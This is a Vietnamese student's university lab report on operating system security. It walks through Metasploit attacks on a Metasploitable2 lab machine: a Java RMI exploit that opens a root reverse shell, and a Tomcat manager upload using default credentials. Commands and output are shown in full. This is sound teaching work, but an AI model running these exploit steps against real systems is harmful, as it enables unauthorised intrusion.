

HỌC VIỆN CÔNG NGHỆ BƯU CHÍNH VIỄN THÔNG

KHOA AN TOÀN THÔNG TIN



BÀI BÁO CÁO THỰC HÀNH SỐ 2

MÔN AN TOÀN HỆ ĐIỀU HÀNH

Tên sinh viên: Ninh Chí Hường

Mã sinh viên: B20DCAT094

Nhóm lớp học: 01

Giảng viên hướng dẫn : PGS.TS. Hoàng Xuân Dậu

HÀ NỘI, THÁNG 3/2023

Chuẩn bị máy Metasploitable2, Kali linux và đảm bảo kết nối :

- Tìm địa chỉ IP của máy victim, kali:

Chạy lệnh trong cửa sổ terminal: `ifconfig eth0`

Tìm IP v4 ở interface eth0 ở mục 'inet addr'

```
(kali@B20AT094-Huong-Kali)-[~]
$ ifconfig eth0
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.14.145 netmask 255.255.255.0 broadcast 192.168.14.255
    inet6 fe80::20c:29ff:fe4d:b329 prefixlen 64 scopeid 0x20<link>
    ether 00:0c:29:4d:b3:29 txqueuelen 1000 (Ethernet)
    RX packets 48 bytes 4007 (3.9 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 34 bytes 4061 (3.9 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

Ip của máy kali là 192.168.14.145

```
msfadmin@B20AT094-Huong-Meta:~$ ifconfig eth0
eth0      Link encap:Ethernet  HWaddr 00:0c:29:05:f4:e1
          inet addr:192.168.14.148 Bcast:192.168.14.255 Mask:255.255.255.0
          inet6 addr: fe80::20c:29ff:fe05:f4e1/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:292 errors:0 dropped:0 overruns:0 frame:0
          TX packets:107 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:19497 (19.0 KB)  TX bytes:12748 (12.4 KB)
          Interrupt:16 Base address:0x2000
```

Ip của máy metasploitable2 là 192.168.14.148

- Kiểm tra kết nối mạng giữa các máy:

Từ máy Kali, chạy lệnh `ping <ip_máy victim>`

```
(kali@B20AT094-HUong-Kali)-[~]
$ ping 192.168.14.148
PING 192.168.14.148 (192.168.14.148) 56(84) bytes of data.
 64 bytes from 192.168.14.148: icmp_seq=1 ttl=64 time=3.19 ms
 64 bytes from 192.168.14.148: icmp_seq=2 ttl=64 time=1.52 ms
 64 bytes from 192.168.14.148: icmp_seq=3 ttl=64 time=1.34 ms
 64 bytes from 192.168.14.148: icmp_seq=4 ttl=64 time=1.36 ms
 64 bytes from 192.168.14.148: icmp_seq=5 ttl=64 time=1.45 ms
 64 bytes from 192.168.14.148: icmp_seq=6 ttl=64 time=1.39 ms
 64 bytes from 192.168.14.148: icmp_seq=7 ttl=64 time=1.78 ms
^Z
zsh: suspended ping 192.168.14.148
```

Từ máy victim, chạy lệnh `ping <ip_máy kali>`

```
msfadmin@B20AT094-Huong-Meta:~$ ping 192.168.14.145
PING 192.168.14.145 (192.168.14.145) 56(84) bytes of data.
 64 bytes from 192.168.14.145: icmp_seq=1 ttl=64 time=1.32 ms
 64 bytes from 192.168.14.145: icmp_seq=2 ttl=64 time=1.84 ms
 64 bytes from 192.168.14.145: icmp_seq=3 ttl=64 time=1.85 ms
 64 bytes from 192.168.14.145: icmp_seq=4 ttl=64 time=1.70 ms
 64 bytes from 192.168.14.145: icmp_seq=5 ttl=64 time=1.60 ms

[41]+  Stopped                  ping 192.168.14.145
```

Khai thác lỗ hổng sử dụng cấu hình ngầm định trong dịch vụ Java RMI:

Khởi động Metasploit

- Khai báo sử dụng mô đun tấn công:

```
msf> use exploit/multi/misc/java_rmi_server
```

- Chọn payload cho thực thi (mở shell):

```
msf > set payload java/shell/reverse_tcp
```

- Đặt địa chỉ IP máy victim:

```
msf > set RHOST 192.168.14.148
```

- Thực thi tấn công:

```
msf > exploit
```

```
msf6 > use exploit/multi/misc/java_rmi_server
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > set payload java/shell/reverse_tcp
payload => java/shell/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > set RHOST 192.168.14.148
RHOST => 192.168.14.148
msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 192.168.14.145:4444
[*] 192.168.14.148:1099 - Using URL: http://192.168.14.145:8080/hxuEmYbk
[*] 192.168.14.148:1099 - Server started.
[*] 192.168.14.148:1099 - Sending RMI Header ...
[*] 192.168.14.148:1099 - Sending RMI Call ...
[*] 192.168.14.148:1099 - Replied to request for payload JAR
[*] Sending stage (2952 bytes) to 192.168.14.148
[*] Command shell session 1 opened (192.168.14.145:4444 -> 192.168.14.148:39632 ) at 2023-03-13 20:41:17 -0400

whoami
root
uname -a
Linux B20AT094-Huong-Meta 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
hostname
B20AT094-Huong-Meta
```

Khai thác lỗi trên Apache Tomcat:

Khởi động Metasploit

- Khai báo sử dụng mô đun tấn công:

```
msf > use exploit/multi/http/tomcat_mgr_upload
```

- Đặt địa chỉ IP máy victim:

```
msf > set RHOST 192.168.14.148
```

- Đặt 445 là cổng truy cập máy victim:

```
msf > set RPORT 8180
```

- Chọn payload cho thực thi (mở shell):

```
msf > set payload java/shell/reverse_tcp
```

```
msf6 > use exploit/multi/http/tomcat_mgr_upload
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/http/tomcat_mgr_upload) > set RHOST 192.168.14.148
RHOST => 192.168.14.148
msf6 exploit(multi/http/tomcat_mgr_upload) > set RPORT 8180
RPORT => 8180
msf6 exploit(multi/http/tomcat_mgr_upload) > set payload java/shell/reverse_tcp
payload => java/shell/reverse_tcp
```

Thêm người dùng với username “tomcat” và password “tomcat” và sau đó nạp và thực hiện :

```
msf6 exploit(multi/http/tomcat_mgr_upload) > set HttpUsername tomcat
HttpUsername => tomcat
msf6 exploit(multi/http/tomcat_mgr_upload) > set HttpPassword tomcat
HttpPassword => tomcat
```

Thực thi tấn công:

msf > exploit

```
msf6 exploit(multi/http/tomcat_mgr_upload) > exploit

[*] Started reverse TCP handler on 192.168.14.145:4444
[*] Retrieving session ID and CSRF token...
[*] Uploading and deploying eWPVTq7tuaScDNkVxB ...
[*] Executing eWPVTq7tuaScDNkVxB ...
[*] Undeploying eWPVTq7tuaScDNkVxB ...
[*] Sending stage (2952 bytes) to 192.168.14.148
[*] Undeployed at /manager/html/undeploy
[*] Command shell session 1 opened (192.168.14.145:4444 → 192.168.14.148:55934 ) at 2023-03-13 21:16:35 -0400

whoami
tomcat55
uname -a
Linux B20AT094-Huong-Meta 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
hostname
B20AT094-Huong-Meta
```